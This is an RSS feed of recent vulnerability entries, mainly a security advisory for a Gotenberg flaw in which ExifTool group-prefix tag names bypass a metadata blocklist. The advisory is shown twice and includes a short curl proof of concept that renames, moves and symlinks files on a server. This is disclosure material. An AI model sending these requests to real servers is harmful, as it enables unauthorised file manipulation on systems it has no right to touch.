<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 09:40:00 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-319009</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-319009</link>
      <description>EUVD-2026-319009</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-319009</guid>
    </item>
    <item>
      <title>fkie_cve-2026-42590</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-42590</link>
      <description>&lt;p&gt;Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.30.0, The ExifTool metadata write blocklist in Gotenberg can be bypassed using ExifTool&amp;#39;s group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching. The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc. Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix. This vulnerability is fixed in 8.30.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.30.0, The ExifTool metadata write blocklist in Gotenberg can be bypassed using ExifTool&amp;#39;s group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching. The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc. Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix. This vulnerability is fixed in 8.30.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-42590</guid>
    </item>
    <item>
      <title>GHSA-7v3r-m9c8-r855 — Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-7v3r-m9c8-r855</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/gotenberg/gotenberg/v8&lt;/p&gt;
&lt;p&gt;**Summary**&lt;/p&gt;
&lt;p&gt;The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool&amp;#39;s group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.&lt;/p&gt;
&lt;p&gt;**Details**&lt;/p&gt;
&lt;p&gt;The blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching.&lt;/p&gt;
&lt;p&gt;The `safeKeyPattern` regex (`^[a-zA-Z0-9\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc.&lt;/p&gt;
&lt;p&gt;Additionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix.&lt;/p&gt;
&lt;p&gt;**PoC**&lt;/p&gt;
&lt;p&gt;```bash
# Rename the converted PDF (bypasses FileName blocklist)
curl -F &amp;#34;files=@test.pdf&amp;#34; \
  -F &amp;#39;metadata={&amp;#34;File:FileName&amp;#34;:&amp;#34;pwned.pdf&amp;#34;}&amp;#39; \
  http://localhost:3000/forms/pdfengines/metadata/write&lt;/p&gt;
&lt;p&gt;# Move the file to /tmp (bypasses Directory blocklist)
curl -F &amp;#34;files=@test.pdf&amp;#34; \
  -F &amp;#39;metadata={&amp;#34;File:Directory&amp;#34;:&amp;#34;/tmp&amp;#34;}&amp;#39; \
  http://localhost:3000/forms/pdfengines/metadata/write&lt;/p&gt;
&lt;p&gt;# Create a symlink (bypasses SymLink blocklist)
curl -F &amp;#34;files=@test.pdf&amp;#34; \
  -F &amp;#39;metadata={&amp;#34;File:SymLink&amp;#34;:&amp;#34;/tmp/symlink-poc&amp;#34;}&amp;#39; \
  http://loca…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/gotenberg/gotenberg/v8&lt;/p&gt;
&lt;p&gt;**Summary**&lt;/p&gt;
&lt;p&gt;The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool&amp;#39;s group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.&lt;/p&gt;
&lt;p&gt;**Details**&lt;/p&gt;
&lt;p&gt;The blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching.&lt;/p&gt;
&lt;p&gt;The `safeKeyPattern` regex (`^[a-zA-Z0-9\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc.&lt;/p&gt;
&lt;p&gt;Additionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix.&lt;/p&gt;
&lt;p&gt;**PoC**&lt;/p&gt;
&lt;p&gt;```bash
# Rename the converted PDF (bypasses FileName blocklist)
curl -F &amp;#34;files=@test.pdf&amp;#34; \
  -F &amp;#39;metadata={&amp;#34;File:FileName&amp;#34;:&amp;#34;pwned.pdf&amp;#34;}&amp;#39; \
  http://localhost:3000/forms/pdfengines/metadata/write&lt;/p&gt;
&lt;p&gt;# Move the file to /tmp (bypasses Directory blocklist)
curl -F &amp;#34;files=@test.pdf&amp;#34; \
  -F &amp;#39;metadata={&amp;#34;File:Directory&amp;#34;:&amp;#34;/tmp&amp;#34;}&amp;#39; \
  http://localhost:3000/forms/pdfengines/metadata/write&lt;/p&gt;
&lt;p&gt;# Create a symlink (bypasses SymLink blocklist)
curl -F &amp;#34;files=@test.pdf&amp;#34; \
  -F &amp;#39;metadata={&amp;#34;File:SymLink&amp;#34;:&amp;#34;/tmp/symlink-poc&amp;#34;}&amp;#39; \
  http://loca…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-7v3r-m9c8-r855</guid>
    </item>
  </channel>
</rss>
